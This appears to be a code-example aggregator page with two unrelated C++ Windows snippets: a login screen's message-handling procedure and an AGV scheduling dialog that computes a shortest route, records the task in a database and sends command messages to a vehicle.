		case	SM_NEEDUPDATE_ACCOUNT:	// Need to account update
			m_Progress	= PRG_NEED_ACCOUNT_CHANGE;	// Need Account change
			break;
		case	SM_UPDATEID_SUCCESS:	// account update success
			m_Progress	= PRG_LOGIN;		// Login
			break;
		case	SM_UPDATEID_FAIL:		// account update Fail
			m_Progress	= PRG_NEED_ACCOUNT_CHANGE;	// Login
			break;
	}
*/
}
Ejemplo n.º 23
0
//////////////////////////////////////////////////////////////////////////////////////////////////////
//	Message
//////////////////////////////////////////////////////////////////////////////////////////////////////
LRESULT CLoginProcess::DefMainWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch ( uMsg )
	{
		case WM_CTLCOLOREDIT:
		{
			if ((HWND)lParam == g_xChatEditBox.GetSafehWnd())
			{
				SetBkColor((HDC)wParam, RGB(0, 0, 0));
				SetTextColor((HDC)wParam, RGB(255, 255, 255));

				UnrealizeObject(m_hBrush);
				
				POINT pt;

				SetBrushOrgEx((HDC)wParam, 0, 0, &pt);
				return (LRESULT)m_hBrush;
			}
			break;
		}
		case WM_LBUTTONDOWN:
			OnLButtonDown(wParam, lParam);
			break;
		case WM_LBUTTONUP:
			OnLButtonUp(wParam, lParam);
			break;
		case ID_SOCKCLIENT_EVENT_MSG:
			g_xClientSocket.OnSocketMessage(wParam, lParam);
			break;
		case WM_KEYDOWN:
			UpdateWindow(g_xMainWnd.GetSafehWnd());
			OnKeyDown(wParam, lParam);
			break;
		case WM_SYSKEYDOWN:
		{
			if ( wParam == VK_RETURN )
			{
				g_xMainWnd.OnSysKeyDown(wParam, lParam);
			}
			return 0L;
		}
		case WM_MOVE:
		{
			OnWindowMove(wParam,lParam);
			return 0L;
		}
		case WM_MOUSEMOVE:
			OnMouseMove(wParam,lParam);
			break;
		case _WM_USER_MSG_INPUTTED:
		{
			switch(m_Progress)
			{
				case PRG_LOGIN:
				case PRG_NEW_ACCOUNT:
					OnKeyDown((WPARAM)VK_RETURN,NULL);
					break;
				case PRG_CHANGE_PASS:
					break;
			}
		}
		//case WM_PAINT:
//		{
			//if (m_Progress == PRG_PATCH)
	//		{
//				RenderPatch(0);
				//pPatch->DrawProgressImage();
			//	return 0l;
		//	}
	//		if (m_Progress == PRG_QUIT)
//			{
				//SendMessage(g_xMainWnd.GetSafehWnd(), WM_DESTROY, NULL, NULL);
 //       pPatch->DrawProgressImage();
	//			return 0l;
	//		}
		//	break;
	//	}
	}
	return CWHDefProcess::DefMainWndProc(hWnd, uMsg, wParam, lParam);
}
Ejemplo n.º 24
0
void CScheduleDlg::OnBnClickedOk()
{
	// TODO: 在此添加控件通知处理程序代码
	CString strAGCNo, strTargetNo, strOpt;
	m_comboAGCNo.GetWindowTextW(strAGCNo);
	m_comboTargetNo.GetWindowTextW(strTargetNo);
	m_comboOpt.GetWindowTextW(strOpt);

	if (strAGCNo.IsEmpty() || strTargetNo.IsEmpty()
		|| strOpt.IsEmpty())
	{
		AfxMessageBox(_T("请输入车号,目标点号和操作!"));
		return;
	}

	// 类型转换
	BYTE agvno = _ttoi(strAGCNo);
	UINT16 targetno = _ttoi(strTargetNo);
	UINT16 opt = (UINT16)m_comboOpt.GetItemData(m_comboOpt.GetCurSel());

	if (++MSG_TAG > 255)
		MSG_TAG = 0;

	// 任务编号
	UINT16 taskno = ++MSG_TASK;

	// 还要接收E1消息,其中的M6与这条tag不一样要重发
	m_m6.tag = MSG_TAG;
	m_m6.agvno = agvno;
	m_m6.target = targetno;
	
	m_m2.tag = MSG_TAG;
	m_m2.agvno = agvno;
	m_m2.taskno = taskno;
	m_m2.taskopcode = opt;

	m_m1.tag = MSG_TAG;
	m_m1.agvno = agvno;
	m_m1.taskno = taskno;
	// 段数,可行走段号 通过Dijkstra算法计算
	// 获取小车当前点号
	CObList& clientList = m_pDoc->m_pListenSocket->m_clientList;
	POSITION pos = clientList.GetHeadPosition();
	CClientSocket* pClient = NULL;
	while (pos)
	{
		pClient = (CClientSocket*)clientList.GetNext(pos);
		if (pClient->m_e1.agvno == agvno)
			break;
	}
	
	// 计算最短路径
	if (!pClient) {
		AfxMessageBox(_T("还没用任何小车连接!"));
		return;
	}

	pClient->m_targetPt = targetno;

	Dijkstra(pClient->m_e1.curPoint, targetno);
	auto& vecRoute = m_pDoc->m_vecRoute;
	m_m1.secnum = (BYTE)vecRoute.size() - 1; // 段数
	// 可行走段
	auto& mapSideNo = m_pDoc->m_sideNo; //<段,段号>
	auto it = vecRoute.begin();
	int prevSide = *it;
	std::advance(it, 1);
	int i = 0; // 控制段索引
	CString strSideNo, strTemp; // 输出
	for (auto it2 = it; it2 != vecRoute.end(); ++it2)
	{
		unsigned sideNo = mapSideNo[make_pair(prevSide, *it2)];
		prevSide = *it2;
		m_m1.secno[i++] = sideNo;
		strTemp.Format(_T("%d-"), sideNo);
		strSideNo += strTemp;
	}
	if (strSideNo.IsEmpty())
		strSideNo = _T("''");

	Msg_M1M2M6 m1m2m6;
	m1m2m6.m1 = m_m1;
	m1m2m6.m2 = m_m2;
	m1m2m6.m6 = m_m6;

	// 写入数据库
	m_AdoConn.OnInitADOConn();
	CTime tm = CTime::GetCurrentTime();
	CString strTm;
	strTm.Format(_T("%04d/%02d/%02d %02d:%02d:%02d"),
		tm.GetYear(), tm.GetMonth(), tm.GetDay(), tm.GetHour(), tm.GetMinute(), tm.GetSecond());
	CString str; //
	str.Format(_T("%d,\'%s\',%d,%d,%d,%d,%d,%d,%d,\'%s\'"),
		taskno, strTm, agvno, 1, pClient->m_e1.curPoint, \
		targetno, MSG_TAG, opt, m_m1.secnum, strSideNo);
	CString sql = _T("insert into tasklist (")  \
		_T("taskno,starttime,agvno,priority,startPt,endPt,msgtag,taskOptCode,sidenum,sideno) ")  \
		_T("values(") + str + _T(")");
	m_AdoConn.ExecuteSQL((_bstr_t)sql);
	m_AdoConn.ExitConn();

	// 给小车发送M1,M2,M6消息
	pClient->Send(&m1m2m6, sizeof(m1m2m6));

	CDialogEx::OnOK();
}